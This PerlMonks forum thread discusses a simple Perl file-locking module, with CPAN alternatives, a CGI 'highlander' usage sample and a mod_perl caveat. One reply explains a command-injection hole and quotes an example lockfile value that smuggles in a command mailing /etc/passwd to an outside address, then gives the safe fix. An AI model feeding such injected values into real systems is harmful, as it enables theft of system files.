http://www.perlmonks.org?node_id=26872


in reply to RE: Simple Locking
in thread Simple Locking

When I wanted this, I could not find what I was looking for on CPAN. It may have been there, I just didn't see it. For instance if you go browse for descriptions on CPAN you will find that File::Flock and File::BasicFlock just are more sophisticated versions of the flock() command. So they do not implement the semantics that I wanted. The File::Lock module looked closer, but it had only a very simple OO interface that was not fired by destruction.

In general all of the things I saw on CPAN were wrappers around the idea, "let us give better/more detailed ways to lock stuff" while I wanted, "Gimme an incredibly easy 'get a lock' semantic that I won't mess up on."

However KM pointed out to me that the system call to "touch" is not the best approach if the file does not exist. I should really either do that in Perl or else use File::Flock.

FWIW I use this for wrapping a lot of complex operations. For instance if I want a set of processes to go in order, I just have them start in order and attempt to grab a lock. They will not succeed until the previous process drops the lock. I can then combine this in some processes with a timeout_limit argument and send a page if it does not succeed...

Replies are listed 'Best First'.
RE: RE (2): Simple Locking
by KM (Priest) on Aug 08, 2000 at 23:52 UTC
    However KM pointed out to me that the system call to "touch" is not the best approach if the file does not exist.

    I said this simply becuase it isn't a safe way to use system(). If someone passes "/tmp/file; mail me@me.com < /etc/passwd" as $lockfile, there could be trouble. I would either use a safer system like:

    system("/bin/touch",$lockfile);

    Or, simply an open FH, ">>$lockfile" ... approach.

    Cheers,
    KM

      Ah. In none of my code do I pass the locking name around, it usually is used to serialize specific programs.

      All in all not significantly different from what merlyn did for Highlander - allow only one invocation at a time of an expensive CGI script. Which with this module would be:

      use CGI; use Lock; local $main::highlander = Get Lock( lock_file => "highlander", timeout_limit => 10; ); unless ($main::highlander) { my $host = $ENV{REMOTE_HOST}; $host = $ENV{REMOTE_ADDR} unless defined $host; warn "$0 @ ".(localtime).": highlander abort for $host after 10 se +conds\n"; print CGI::header(-status => 503, -retry_after => 30, -type => 'text/plain'), "Our server is overloaded. Please try again i +n a few minutes.\n"; exit 0; } # No further logic required for mod_perl!!!
      But I will definitely make the fix now that you have shown me that this really is a security hole and not merely a portability issue as I had thought.
        You say mod_perl here, but what you really mean is Apache::Registry, just one of the many mod_perl modules, and you're relying on the trick that your code is getting wrapped into a giant subroutine, which may not necessarily be true in future implementations of Apache::Registry.

        Your trick doesn't work for mod_perl handlers in general, hence my warning on the original code.

        -- Randal L. Schwartz, Perl hacker